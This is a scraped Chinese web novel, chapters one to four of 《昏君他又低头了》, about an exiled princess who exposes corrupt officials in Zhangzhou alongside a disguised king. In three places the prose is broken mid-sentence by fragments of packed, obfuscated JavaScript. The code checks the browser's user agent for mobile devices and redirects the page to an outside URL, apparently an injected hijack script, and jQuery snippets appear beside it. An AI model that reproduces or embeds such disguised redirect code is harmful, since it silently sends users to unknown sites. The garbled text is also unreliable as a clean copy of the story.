《昏君他又低头了》 1. 章州 天启六年，十月十二，入秋。 章州县里嘈杂声渐熄，夜幕降临，天空深邃无边。 县衙门前摆着两台大轿，瘦得皮包骨的车夫倚在一旁打盹，旁边的茶摊上官差指着对面的永宁大道交头接耳。 “你说，我们这路修了拆拆了修的，累的跟孙子似的，这钱怎么越挣越少？这修了十年这永宁大道怎么就修不好了？” “这你还不知道，曹县令啊。天高皇帝远的，我们这章州多小一地方，多少人发财就指望着它！再说当今即位的那位王又是个不干人事儿的昏君——哎——” 那官差耳朵微微一动，突然一声惊雷般巨响传来，“砰——！” 随着他的手指望去，只见永宁大道又塌了。 声音震耳欲聋，连县衙外的巷子里的树上的枝叶都簌簌发抖，差点连在树上的人都跌落下来，还好他一把扶住了树干，“殿下，县衙守卫森严，定要万分小心。您身子还未大好，这次交给属下也可以。” 树下有一名女子，乌黑柔顺的长发随意地垂在肩头，发丝在风中轻轻拂动。 她泛着水光的眸子眨了眨，三两息间便甩掉了外面罩着的闺阁女子的衣衫，黑布一遮，转眼间变成了另一个人。 她薄唇轻启，此番发出的声音清朗顺耳，不知道的以为是哪里来的青年男子，“放心吧，只是取个账册而已，这次又不是去砍了贪官的脑袋。永宁大道十年还未修好，这账册定然是记载着十年的赃款走向，若他背后还勾结着京中人物——那便更好了，得来全不费工夫。” 当下一袭黑色夜行衣，脚尖一点，便从客栈屋檐上三两步飞奔至县衙，掀开瓦盖轻巧地潜入其中。 步笑安久居深宫，自幼便学习礼仪规矩，素来端庄持重。然而眼下这般身手，若非流落宫外多年，难以练就。 这一切都要从元启八年除夕夜那日的宫变开始说起。 这中晟的王，本该是她。 自从母后从断壁残垣中含泪一把将她推出宫门后，她便流离失所无家可归，数载漂泊民间，隐匿于流放队伍中，靠神弓卫暗中护持方能辗转各地。 中晟祖制，王室继承人未至成年不得以真容示人。她自幼以面具遮面，真貌为天子亲卫所独知。 “殿下，甘棠愿为殿下肝脑涂地。殿下只需放手施为，属下自当代殿下留在宫中。” 蔺甘棠，那个一直陪伴她左右的少年暗卫，毫不犹豫将她推开戴上了象征着中晟继承人的面具。 她万万未料到，他竟未死。那场宫变之后，无一丝消息传入民间，真凶未现，而他竟以一己之身入宫，成为形同傀儡的王。 世人尽道中晟气数将尽，王上昏庸无道，然谁人知晓，这一切不过是挟天子以令诸侯罢了，中晟江山早已被暗中操控于他人手中。 当年的真相如深海迷雾般环环相扣，父母下落成谜，入宫刺客悉数自尽，罪魁祸首隐匿朝堂，操控一切。 她流落民间，暗中查探四方官吏，欲寻觅蛛丝马迹，以揭露当年宫变的真相，如今探查到了章州。 舆图中记载账房就在县衙的北侧，步笑安一路隐蔽身形顺着小路而行，眼看她就要接近账房，忽然眼角瞥见前方灯笼中的烛火微晃。 她心中一惊，连忙闪身一靠，迅速撑墙，轻轻一跃翻上廊檐，隐匿在黑暗中。 好险。 就在她脚落地的瞬间，正好有光亮从转角处出现，原来是几个人携着灯笼而来。步笑安凝神看去，只见那领头的人物佩着刀，似是县衙守卫。而后面跟着的则是个披着黑衣斗篷的人，宽大的兜帽遮住了身形，看不清容貌。 这大半夜的，来县衙的还能是何人？ 一旁的廊角处，步笑安屏住呼吸，眉头微皱，悄悄打量眼前情形，眼瞧着那个斗篷人被县衙守卫引入书房，没过多久，里面烛火微亮，隐约映出一片摇曳的身影。 当下她心中疑虑渐深——这曹县令，平日里懒于公务，偏偏今夜大半夜的不睡觉，反倒与这等神秘之人在书房密谈。 “莫非真的与京城有牵扯？” 众人皆知曹然是花了钱买的官职，平日里从不出席诗会文谈，性子懒散，哪里像是爱读书的材料。书房深夜迎客，这分明就有鬼。 步笑安微微咬唇，压低身形，往书房窗边蹑足靠近，透过窗棂的缝隙试图探清内里情况。只听得斗篷人低声说道：“事成之后，银两自然不会少了曹大人的。” 接下来那曹然讪笑一声，拱手哈腰：“那就拜托了。此事若能顺利，县衙上下自会为您效力，绝无二话。” 声音顺着风飘进步笑安的耳朵，她从那短短的两句对话中分辨出身着黑衣斗篷的人是个女人。 此人何方神圣，竟能让曹然如此毕恭毕敬？ 还未等步笑安的思绪落地，那女子已款步出门，曹然则跟在身侧微微弯腰，那姿势卑微至极，不知道的还以为来的人是中晟君王。 只一瞬间，步笑安便大致确认了两人的权利不对等关系。 也不问她愿不愿意，风再次携着对话窜进耳朵。她细听两人寒暄的内容，竟发现黑话里面还暗戳戳提到了官银和税款。 步笑安自来章州后，就发现这里的百姓几乎没有一天过得安稳，每日都在与贫穷和压迫作斗争，穷的都快连街边的耗子都要抓了吃。 前不久，官府突然新加了一项重税，搞得民不聊生。 大家还没从上个月的重压中缓过来，这个月又传出要加派徭役，许多百姓连耕种的时日都被占去，只能在田地里草草了事。那些年老体弱的，更是苦不堪言。 再加上她亲眼见到了永宁大道修了十年还没有修好。 这章州可果真是蠹虫的温床！ 步笑安正在心里大骂，忽然间夜晚大风呼啸，那女子的斗篷竟被风生生掀起了一丝缝隙。 那缝隙映入步笑安的眼帘，她眼力极佳，在那惊鸿一瞥中，她竟然觉得这女人的眉眼之中有种莫名的熟悉感，她好似在哪里见过。 果然，此事非同小可！ 她不敢多做停留，等那几道人影消失后便悄然起身，风驰电掣地奔向账房。 推开窗，她一个翻身灵巧地翻入账房，从书架上取出账本，飞速扫过账目见的数字和批注，不禁冷笑，曹县令胆子可真大！ 这一笔笔的账目混乱不堪，漏洞百出，明眼人若悉心查探一眼便能瞧出其中的猫腻，竟然堂而皇之地搁在这账房之中。 莫非有诈？ 她微微蹙眉，从众多账本中挑挑拣拣，还是被她看出了猫腻。 原来如此，假作真时真亦假，在真的里面混着假的账本便无人看穿。 她抬手挑出几本关键账本，细心掸掉灰尘后又迅速塞进怀里。 不敢耽误，她合上窗正准备悄然离去，忽然背后传来低沉的脚步声，近在咫尺。 “站住！” 大意了。 微妙的呼吸声就在耳畔，她冷静地转过身去，面上不显一丝慌乱。 廊下灯火摇曳，对方的目光凌厉地扫过她。 “你深夜私闯账房，拿了什么！”来人语气豪横，显然已起了杀心。 短短一句话，她便已知悉对方是个脑子不转弯的。 步笑安微微一笑，优雅地将手放到怀中——她摸到了几枚自制的暗器，暗暗将其中一块扣在指尖。 “在下只不过是路过，恰巧迷了路，才误入账房，阁下可信？” 平平无奇的青年声音温和地响起，跟面前那人的嗓音简直一模一样。 纤长的手指微微用力，步笑安的目光同时瞄准来人手中闪着微光的灯笼。 那灯笼忽明忽暗竟是破了个洞。 “路过？”他默默重复了一遍她的话，在那一瞬间，熟悉的声音使他的脑子居然一反常态觉得有几分道理。 不过仅仅片刻的功夫，他的理智便已回笼，冷笑一声，猛然向前逼近一步，“一身夜行衣？说谎都不打草稿的吗，哪里来的暗探！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659992|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就在他靠近的一瞬间，步笑安手中的暗器闪电般飞出，从破洞出射入灯笼，一击即中，周遭的光芒一闪即逝。 乌云笼罩，黑云蔽月，簌簌风声掩饰不住一声暴怒的狂啸。 “该死，来人！！” 但此时，步笑安已经趁机转身往长廊奔去，消失在长夜当中。 曹县令被惊动后，县衙内外被围的是水泄不通。护院内外每人一把火把，照的县衙是玲珑剔透。 “找，给我找！” 然，在曹然站在门口暴跳如雷，恨不得满章州找账册的时候，步笑安已经跳上房梁把夜行衣一脱，换上一袭早已准备好的女子衣衫奔向西方，回到宅子准备洗洗睡了。 她来章州一月有余，初来乍到便迅速寻了这么个南北通透四通八达的地方。东边通着暗巷，西边通着集市。南边通着下水口，北边对着县衙。 账册被锁在了她的床头柜中，步笑安突然想起来那个女人她到底是在哪里见到过。 当年，她尚在宫中。 作为中晟王独宠无二的王女，养在深宫专注学问的中晟继承人，她偶尔也难掩顽性，悄悄潜入宫宴凑热闹。 那年除夕宴，她曾远远瞥见过一名女子。彼时，她比如今更显年轻几分，眉目间自有风华。 只不过，那女子究竟是何来历？按宫中惯例，宴上之人多为各侯府的夫人，步笑安自诩对这些人皆耳熟能详，但眼前这女子，竟全然不在她的记忆中。然而，她确信曾见过。 忽然间，步笑安灵光乍现。她记起来了—— 是现今威名赫赫的兆远侯夫人家的人。那女子曾远赴京城寻亲，母后怜其孤苦，破例将其邀入宴中。 她蓦然起身，迅速挥毫，笔尖在宣纸上飞舞，写完兆远侯后又在旁边写下了曹然。 兆远侯，曹然。这两个名字的出现，顿时像是一根细线，将她刚才所听到的对话豫章本上的可疑内容串联了起来。 “若曹然与兆远侯的夫人有所合作，那么，他手中的账本，或许并不只是为了个人贪欲那么简单。果然，有勾连。” 步笑安低声自语道：“本身就在猜测谁才是宫变的罪魁祸首，如今兆远侯的势力越来越大——难不成——” “咚，咚，咚。” 忽地，门外响起一阵沉稳的敲门声。 步笑安微微抬眸，已然心中有数。她搁下笔，起身走到门前，将门轻轻拉开。 此刻她的模样，于外人看来不过是个寻常无奇的闺中女子。一身红绸纱衣衬得她柔弱如柳，眉间隐有疲态。 “殿下。” 来人一身黑甲，身姿笔挺，正是神弓卫统领金令主。他肃然而立，俯身行礼。其身后隐约可见几名举着火把由神弓卫假扮的县衙杂役。 他们本是来挨家挨户搜查的。 了然地点了下头，步笑安目光一转，将门外众人一扫而过，确认无误后方才淡淡开口：“都处理妥当了？” 刚从县衙回来的金令主微微低头，语气不卑不亢：“禀殿下，县衙不会再巡查到此地，行动全程未露破绽。曹然决计查不到任何线索。” 如此甚好，步笑安稍微咳嗽了下，点了点头，“那就好。辛苦你们了。” 言罢，她正欲转身关门，却察觉金令主并无离开的意思，仍静静伫立原地，似有话要说。 如此行径的金令主倒是少见，步笑安微微挑眉，薄唇轻启，“怎么了。” 闻言，金令主躬身呈上一只信鸽，低声道：“殿下，王来信。” 那只白色的鸽子在他手里挣扎着。 步笑安指尖微动。 十年来，他未曾给她写过半封信。一来是为了维持他昏君的形象，二来是为了彻底掩藏她的存在，不叫任何人察觉分毫。 今日竟然破例？太阳打西边出来了？ 她从鸽子腿上将布条解下，信手展开，只见布条上寥寥数语。 “近况已悉知，孤近期欲微服私访，望安好。” 2. 御史 郎御史府的千秋宴热闹非凡，府内张灯结彩，琼浆玉液流转在觥筹交错之间。 先是有乐师齐奏，笙歌笑语连连，再有别出心裁的文会，众士人轮番即兴赋诗题字。 席间有名士独自高台吟诗，也有才俊和人共饮。 饮酒作乐自然是极佳的，只不过今日—— 步笑安把酒杯放在一旁，她今天却不是仅仅来参加宴席的。 声势浩大的宴席终于拉开帷幕，众人目光聚焦到正中央，郎御史缓步走出。他身着一身段蓝色锦袍，刺绣华丽而不失体统。 年近古稀的他依旧是器宇轩昂，语气铿锵有力，沉声说：“今日设宴，为共赏诗文，修身明志！诸位皆是有文采风流之人，不妨畅所欲言！” 御史话音未落，就有人接着说：“在下早闻御史大人好诗文，今日不胜荣幸，也愿献上小诗一首！” 步笑安在台下微微一笑，握笔的手未停，低头一笔流利的小楷跃然纸上。俨然成了坐在角落默默书录诗词温润如玉的学堂士子。 为了今日宴会，步笑安多日来往来学堂，终于让她等来了一个机会。宴会宾客身份用起来得心应手，倒是正合她的心意。 宴席已经过半，杯盏交错间众人已微醺，而郎御史也微微起身，笑道：“诸位稍事片刻，老夫去更衣，稍后再来共赏诗文。” 说罢，便在几位仆从的搀扶下从宴席后侧悄然退去。步笑安一直安静地坐在角落，见御史离席，心中一动。 四周众人觥筹交错，她隐藏在柳树旁见无人注意到自己，便悄然放下笔，低头混入几名散步的仆人中。 这番行动，倒是让她逮到了一个可以与御史单独相处的机会——御史并没有去更衣，反而绕了路去了书房。 “御史大人，草民有要事禀报。” 一身士子装扮的步笑安屏住呼吸，微微敛目，眼睛紧盯着书房门口。 书房木门微掩着，她透过房门缝隙可以看见御史微微摇晃的身影顿了一顿，只见他长袖一甩，道：“何事——” 御史威严的声音从书房里传出，撞在步笑安的耳朵里。那言语中的微醺之意未除还似乎带着些许疲惫。 手伸入长袍，步笑安掏出藏在胸口的账册，紧紧握在手中。 步笑安手放在门上冷静地推开，踱步上前，握着账册在御史眼前站定，抬眼看他。 她深知不能显露出一丝迟疑，“大人，曹然曹大人十年来公然贪污腐败，草民惶恐，特请御史大人做主。” 风声萧萧，一瞬间喜气洋洋的氛围一下子陷入了冰冷的沉寂。 不过如同锅里烧水一般，冷水最终还是冒出了热气。 “你是说有人在本官眼皮子底下作乱？” 御史的酒气好似去了几分，“你有何证据？本官为什么相信你。” 步笑安在他面前翻开账册，开始细数账册上的所有漏洞，她的手指停在账册的一页上，娓娓道来。 “这是曹然，曹县令的账册。您看着账册上所记载的的内容，明明永安大道的银两前一年拨了如此之多，第二年在已经完善的情况下，又多了一笔。您再看明明每一年的拨款和支出应当是固定的，但这一笔并没有明确的解释。” 御史像是没有见过如此胆大之人，转过身定定地看着她，细细听着。 步笑安对账本的熟悉程度可见非一般，她继续道：“而且，不仅如此。永宁大道的建设进度远低于所记录的预算。” 御史的眉头微微皱起，他走近一步，仔细看着她所指的账目。 “再看这一笔。”步笑安翻到了下一页，指着上面的内容，“这里本应该有详细的备注和说明，可是这里记录的太过于模糊，显然是有人试图掩盖某些细节。” 御史微微低头，眉宇间闪过一抹不易察觉的为难之色。他轻抚颔下胡须，沉吟片刻。 “可以了。”他声音低沉，带着些许疲意，随即，他上前一步，伸手按住她手中的账册。 账册一把被他夺走，在他手中翻动的飞快，“对了，你叫什么名字？” “在下，步笑安。” 御史大人听完禀告后，似已无心再赴宴，挥手遣散侍从，将书房门缓缓合上，竟是闭门不出了。 御史大人的反应很平静，平静到，步笑安以为他是个木头人。 宴席的喧嚣声隐隐约约从远处传来。 她快走几步，却总是有脚步声在后面跟着，再走几步还是有脚步声跟着。她想了一想，觉得如果是神弓卫的话断然不会有如此凌乱的功夫。 而且，他们应该在主屋房顶上接应她以防万一。 步笑安眉头微皱，迅速转身绕到了书房的另外一侧，正好靠近宴席的边缘，她围着栏杆转了一圈。 宴席正值盛况，一杆长枪从左手挪到右手，再在头上转了三圈，戏班子卖力表演着，喝彩声此起彼伏。 就在她踟蹰之际，忽然一抬眼，惊鸿一瞥中，她正巧瞧见昨夜匆匆现身于县衙的那名黑袍女子，此刻竟堂而皇之地站在人群前排。 步笑安心底一惊，心思再一转，这下被她忽视掉的在空气中弥漫的焦味飘入鼻尖。 焦味？从何而来？ 她脚下生风，一个健步跃入草丛，身形如燕般俯身隐入暗影中，迅速绕至书房窗外。目光扫过四周无人，手指轻轻一捅，在窗纸上戳出一个细小的孔。 透过孔隙，她瞧见书房内火光乍现，映出烧毁账册的点点火星！ 何人何地做了何事已经昭然若揭。步笑安皱起眉头，他们果真是一丘之貉！ 就在这电光石火之间，步笑安猛然回神，耳后急促的脚步声与嘶喊声几乎同时炸开：“在这！大人吩咐，别让她跑了！” 暴露了！步笑安迅速意识到自己已被盯上，只得采取之前预想的第二方案。 她心念急转，迅速判断当前局势。好在，关键证据早已妥善安排，账册仅是幌子之一。更好在，曹然罪行累累，铁证如山，就算眼下被困，她也并非全无退路。 步笑安沿着长廊飞快地向前奔跑，她身形一跃，悄然无声地掠上房檐。站在主屋房檐之上，她四下环顾，原本应该隐匿暗处接应的神弓卫却踪迹全无。 步笑安心头一沉，计划本应天衣无缝，为何关键时刻却生出这等变故？事到如今，唯有靠自己了。 眼看追兵在假山旁逐渐聚集，步笑安屏住呼吸，迅速移动到另一边的屋脊。 “这边！” 只听一个陌生的嗓音突然从斜前方飘然而来。步笑安循声望去，将目光锁定在正在表演的戏班子上。 此人是谁？ 不过不重要，现在要做的是脱身！若是她可以趁乱，隐藏在戏班子中—— 有了！ 她迅速翻身而出，借着人群混乱之余悄悄摸向后墙。此时戏班子中扮演君王的丑角此时一个飞踢转到了她的身前，拉着她翻身一跃！ 这一跃让他们成功跃出了御史府。 步笑安刚想松口气与那戏子道谢之际，却忽然感到一阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659993|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寒意。那种汗毛竖立的体感经久不见。 只见从侧巷中突然走出一人，此人正是郎御史，他背后还跟着一小队亲兵！ 步笑安他们二人是四面楚歌，心中警铃大作。 她在心中暗暗盘算出路的同时，也在寻找对方的破绽。如今一起出逃的不止她自己，况且那名戏子看起来也只是轻功不错的样子。 这可怎么办。无论她往那个方向避开，对方都能拦截住，她的逃路已然被封死。 步笑安奋力一跃想要从侧方房檐翻出，却一道利刃飞速划过，削落了她的发带。青丝散落，她在空中也失去了平衡，跌回地面。 正待翻身而起，却不料已是手脚被擒，动弹不得。 “步笑安，这个局你出不去了。” * 众目睽睽之下，步笑安和那戏子被侍卫推搡着来到在宴会高台之上。四周哗然的议论声如潮水般袭来。 “此人是谁？在宴会之上就敢闹事？！荒唐！怎么还有个戏子？” “我认识她，她是学堂抄书的！这千秋宴果真什么人都能进了？！” “胆敢大闹御史府，真的是自不量力！按我说戏班子也应该抓起来！” 步笑安微微抬头，对上了无数双冷漠或鄙夷的眼睛。 郎御史那个高高在上的老者此时正站在台阶上，冷眼旁观。 “诸位，此人居心叵测，离间我章州父母官，还大闹我宴席！诸位说该当何罪呀。” “竟有此事！” 人群哗然之声更深，有人开始喊叫着要将她正法，以儆效尤！ 步笑安闻言，高声道：“敢问大人，在下何错之有！” 郎御史闻言沉声道：“私盗账册、擅改户籍，行踪可疑、心思叵测，敢问你，还有何辩解？伪造的账册，是哪里来的！” 此人竟敢如此颠倒黑白，她深吸一口气，朗声道来：“步笑安今日之举，乃是为百姓鸣冤。敢问御史大人，这些罪名，难道不是应该你们这些大人物来认嘛。” 郎御史眉头一皱，冷冷道：“你不过一介士子，有何资格妄言是非？诸位看到了吧，此人就是如此侮辱父母官的！” 他话锋一转，厉声道：“来人，带下去，好生审问！” 步笑安眼中闪过一丝凌厉，她暗暗凝神，趁着侍卫稍一疏忽，忽地闪身躲开他们的推搡。 心中已然有了决意：既然已经被暴露，那便正好在这众目睽睽之下将真相公诸于世。 她眼神坚定，身形一晃，便避过身边几个侍卫，反手将他们推向一旁。 众人惊愕地看着这个被指为罪人的士子竟然顺势跃上台阶，站到高处，朗声开口：“诸位，御史大人执掌一方，理应为百姓谋福，但章州的税收何其不公？百姓为重税所苦，大家有目共睹！我步笑安虽为一介书生，但也不能眼看苍生疾苦而袖手旁观！” 郎御史大惊失色，手中的茶盏一抖，茶水泼洒在案几上。 他气急败坏地喊道：“快来人！把她给我抓起来！” 步笑安早已警觉，敏捷地避开了侍卫的逼近，顺势夺下一名侍卫手中的刀，横在身旁。 就在局势僵持之际，一旁一直安静看戏的戏子突然动了。 那好端端在一旁看戏的戏子，此时突然用袖子开始抹起脸来。隐隐约约露出了一张面容既清秀又凌厉的容颜。 只见他在众人束手无策的寂静声中，突然轻咳了一声，不疾不徐地抬起眼。 “孤在此，看谁敢动！” 3. 戏子 步笑安掀起眼皮，目光在他身上打转，嘴角忍不住微微一抽。她倒是眯起眼睛正正经经打量了此人一番。 那戏子卸去伪装，剑眉入鬓，携着清凌凌的眼神看向众人。一身戏服在身，青衣缀着细小的银色纹路，在日光下闪闪发光。 怎么看怎么荒唐。 只见他水袖一甩，“孤说，孤在此。你们怎么还不跪？” 那声音不疾不徐，仿佛这要求是天经地义。 这声音飘进郎御史的耳朵，当即胡子微动，瞪大了眼睛，怒目而视：“大胆！哪里来的刁民，竟敢盗用王的身份！你一个戏子还真把这儿但那个戏台了罢！” 一声怒斥，却引得众人顿时哄堂大笑。台下的宾客议论纷纷，皆是轻蔑地摇头。这戏子倒是妥妥像是一个扮君王入了魔的人。 “来人！” 郎御史手一挥，厉声喝到，“人都死到哪里去了！抓人抓人！” 随着他的命令，御史府的府兵如潮水般涌入，从长廊的两侧慢慢包抄过来。手持长刀长枪的士兵散发着寒意，正欲步步紧逼。 二人被围在高台之上，状似避无可避。步笑安拎着从士兵手中夺来的大刀微微后退，她目不斜视开口道：“喂，我说唱戏的。” “嗯？”那戏子一甩水袖，唇边扬起一丝浅笑。 步笑安眼睛微眯，不咸不淡地开口：“我看你轻功挺好的，一会儿我往前冲你就先跑。” 这个戏子是如何搅到这个局里的步笑安不知道，只是她下意识觉得牵连无辜着实不好。 只是那戏子闻言，微微挑眉，“跑？孤可是堂堂——” 他顿了顿，忽而一声轻笑：“听说过英雄救美的，美救英雄倒是也行，只不过——” 他语调一转，补充道：“不好，会显得孤太没用了。” 这人是不是有什么大病？ 可步笑安转念一想，要不是这人脑子有病，又怎么会在这种关头还救了她一救。想到这里，她当下下定决心，是傻子也罢，今日既然牵扯了进来，她就得护着到底。 可眼下她也是泥菩萨过江，自身难保，好歹是一条性命，最后能保到什么份儿上她也不知道。步笑安不由分说，一步踏前，将那戏子护到自己的身后。 “你躲好。” 郎御史此刻端坐在宴席中央，面色铁青。他用手中就被重重一击桌案，发出“砰”的一声响，怒喝道：“给我上！” 步笑安正要咬牙冲上去拼个你死我活，然而在她蓄力起步的瞬间，肩头却忽然微微一沉，一只修长有力的手按住了她。 正是那戏子！他又要作甚！ “慢着！” 只听他声音不大，却瞬间让周围的喧哗声静了一瞬，就像是沸腾的水中突然扔进去一个冰块，虽说动静不大，但是多少还是有点儿效果的。 步笑安回头，正正好对上了那戏子似笑非笑的眼神。那人一抬手，水袖清扬而起，将她挡在身后。 “别冲动。”他沉声道。 步笑安眉头一皱，还没闹明白这个人葫芦里卖的什么药，他已迈步向前。 “郎御史。”他缓缓开口，声音清润如寒泉，“孤在此，若是要质问，不妨先问问孤为什么会这么说。” 郎御史闻言哈哈大笑，“众人都知，你这明显的胡说八道，本官需要质问什么。区区戏子，你以为三言两语便能唬得住本官？” 府兵此刻已经离他们只有七步之遥，刀剑的寒光直逼这二人而去。步笑安眉头微蹙，正想要甩开肩头的手—— 却听那戏子低低道了一声：“不必。” 话音刚落，他的袖袍猛然一甩，竟然从中废除一枚光泽莹润的玉牌，在空中划过一道弧线，稳稳落在郎御史面前。 那玉竟然没碎！并且那玉牌肉眼可见的晶莹剔透，刻着三个大字。 “睁大你的眼睛看看。”他语气淡漠，却又字字诛人心。 “昭然令在此，见此令，如王亲临。郎御史，你倒是说说，你该不该跪？” 整个场面顿时鸦雀无声，连空气都仿佛凝滞了，众人似乎都忘记了自己会喘气儿。 郎御史呆愣在原地，颤抖着站起身，堪堪伸手起了那枚落在了案几上的玉牌。他眯起眼睛将牌子捧到手心，细细摸了摸那玉的材质，脸色顿时变得惨白如纸。 步笑安见状心中自然也不平静，她这是被人涮了呀。 好家伙，竟真是他！原来前日里所说的微服私访，竟是这么个微服私访法。 她暗自咬牙，心头五味杂陈，既有几分难以置信，又有几分哭笑不得。这昏君扮的戏子模样，不仅毫无违和，甚至……荒诞得竟有几分像模像样。 再看那戏子，依旧站在高台之上，一派泰然自若。他微微侧头，目光扫过周围，落在步笑安身上时，嘴角隐隐挑起。 步笑安从中读出了一丝狡黠，还有一丝得意。 她的沉思被郎御史忽然的跪地声打断，只见他将那昭然令高高举过头顶，声音颤抖，“微臣有罪！不知王在此，竟敢失礼，恳请王赎罪！” 此言一出，场内一片哗然，众人纷纷跪倒在地，惶惶不安地垂首不敢抬眼。 那戏子却只是低头看了一眼郎御史：“御史大人，这么快就认罪了？孤还未问话呢。” 此言一出，郎御史脸色更白了，额头的冷汗顺着鬓角滑落。他抖着嘴唇想说什么，却被那清凌凌的眼神逼得半个字都吐不出来。 “神弓卫何在！”那戏子突然大声喝道，瞬间打破满堂的死寂。 步笑安一怔，随即听到四面八方传来一阵急促的脚步声。 原来如此！ 不是神弓卫突然爽约，而是接到了王的指令。原来，连她都在他的棋盘里。 步笑安深深地看了他一眼，此人——倒是藏得够深。 顷刻间，几名身着黑甲的神弓卫如旋风般现身，稳稳落在高台，将他们二人围在最里侧保护了起来。动作整齐划一，肃杀之气顿时笼罩全场。为首的一人单膝跪地，双手抱拳：“属下奉命护驾，请王吩咐。” 众人看得是目瞪口呆。没想到原本荒诞的宴会随着神弓卫的现身，竟被深深扭转成了这个模样。 “将御史府上下围起来，不得让任何人离开。” “遵命！”神弓卫领命，转瞬间分散而去。 郎御史此时已经跪伏在地，整个人如筛糠般抖个不停，“王，微臣……微臣冤枉啊！”他额头触地，连连磕头，额间的青筋暴起，已然满头冷汗。 王却只是居高临下地看了他一眼，语气冷得如寒冰：“冤枉？以下犯上是孤冤枉你了吗？” 郎御史浑身一颤，额头贴在地上，声音因恐惧而发颤：“王，微臣万万不敢！微臣一心为国，为民……” “笑话。”步笑安突然从王的背后走出，“章州民生凋敝，百姓流离失所，这为民二字，如何从你口中说出来？” 郎御史突然高声道：“你是何人，我跟王说话你如何能插嘴！” 他一顿，语气又一转，软了下来，变脸之快堪称朝臣的模范，“王，微臣冤枉！这章州事宜，皆是下属疏漏，微臣……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659994|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还敢推卸。这可是孤的美人儿，可容你质疑？”王冷笑一声，“孤今日就将此事全权委托与美人儿，你有何意见啊。” 美人儿？步笑安低头看看自己，她今天明明一身士子装扮。 不过现在可不是顾这件事的时候。 她闻言，抬手一挥，神弓卫领命而动，迅速将自己藏起的另一半县衙账册呈上。随后又转身对王行了一礼，郑重道：“启禀王，账册被我誊抄了一份，誊抄的账册已被郎御史烧毁，草民还有一份，您请看。” 一双纤长的手映入眼帘，账册被拿走后逐页翻开。 郎御史浑身瘫软，大汗淋漓。 王皱起眉，看了看，随即哈哈大笑一声，道：“孤，看不懂，来美人儿，你来跟孤说说。” 步笑安瞥了他一眼，但还是一本正经地开了口。 “王请看，最明显的一点是账本上的这笔银两本该用于永安大道修整，但是敢问这修整后的路在哪？十年间，永安大道并未通过马车和行人。” 步笑安的声音不大，却掷地有声，每一个字都像是一记重锤，敲击在在场每个人的心头。 听闻此言，郎御史脸色一片煞白，豆大的汗珠从额头滚落。他张了张嘴，像是想说点什么，可嘴唇颤抖着，终究一句话也没吐出来。 王轻轻点了点头，声音漫不经心，“嗯，很容易懂。郎御史，你包庇同党哦。” 郎御史猛地跪伏在地，双手撑地，连连磕头：“王，微臣冤枉！微臣绝不敢包庇贪污之徒，这一切皆是……皆是下面人所为！微臣不知情啊！” “不知情？”王轻轻重复了一遍，尾音微扬，像是被这两个字逗笑了似的。 步笑安上前一步，“就算不知情，可为何烧了我举报上交的账簿！” 郎御史身躯一颤，冷汗浸透了衣衫。他颤抖着嗓音开口：“这，微臣以为是伪造的账册，有人在挑拨离间父母官。王，微臣……微臣愿尽全力调查，一定给王一个交代！” “交代？”王轻笑一声，袖袍一挥，“诸位听着，孤要的不是他一句交代！从今日起，章州账册全部上交，交由美人儿彻查，三日内给孤结果。” “听见了？美人儿。” 步笑安微微一怔，瞳孔几不可察地收缩了一下。 什么玩意儿？交给她查。 她抬眼瞥了一眼那荒唐王，语气平静不卑不亢道：“草民领命。” 堂中瞬间寂静得落针可闻，众人都屏息而立。 王却毫不在意，似是漫不经心地瞥了步笑安一眼，眼中带着几分戏谑，似笑非笑地说道：“怎么，孤夸你美人儿，还不乐意了？” 步笑安眸色一沉，面上滴水不漏，“王严重了，草民惶恐。” 王点了点头，似乎对她的反应颇为满意，又转向在地上匍匐的百姓，冷冷说道：“美人儿协查章州案情，其言即孤言，若有阻挠者，以抗旨论处。诸位可听清楚了？” 众人神情各异，却纷纷低头称是，心中无不感叹这无名小卒竟然入了这昏君的眼。 王似是毫不在意众人的心思，满意地收回目光，漫不经心地开口：“好了，接下来交给你了。美人儿，别让孤失望啊。” 步笑安收回目光，不动声色地敛眸应道：“草民明白。” 这场戏她还是得陪着这位演荒唐君主上瘾的人唱完了，于是她低声告退，稳步迈下高台。 这罪是要治，却不能堂而皇之地正经治。 于是她抬头，朗声道：“御史因以下犯上罪论处，暂押入大牢！” 4. 大道 神弓卫押着御史一路向东，直接给人送进了当地牢房。 牢房内光线昏暗，只有头顶的栏杆处透过一丝光亮，偶尔还传来老鼠觅食的吱吱声。 本该在宴会上受众人爱戴的御史大人此时跌坐在稻草堆上，手指微微颤抖着有些魂不守舍。 他在一夕之间从天上跌倒地上，对这件事情他着实是有些令人费解。 这论谁也没有想到，戏班子舞刀弄枪的戏子，怎么能是那个远在八百里之外，高坐金銮殿的君王？ 何其荒唐！ 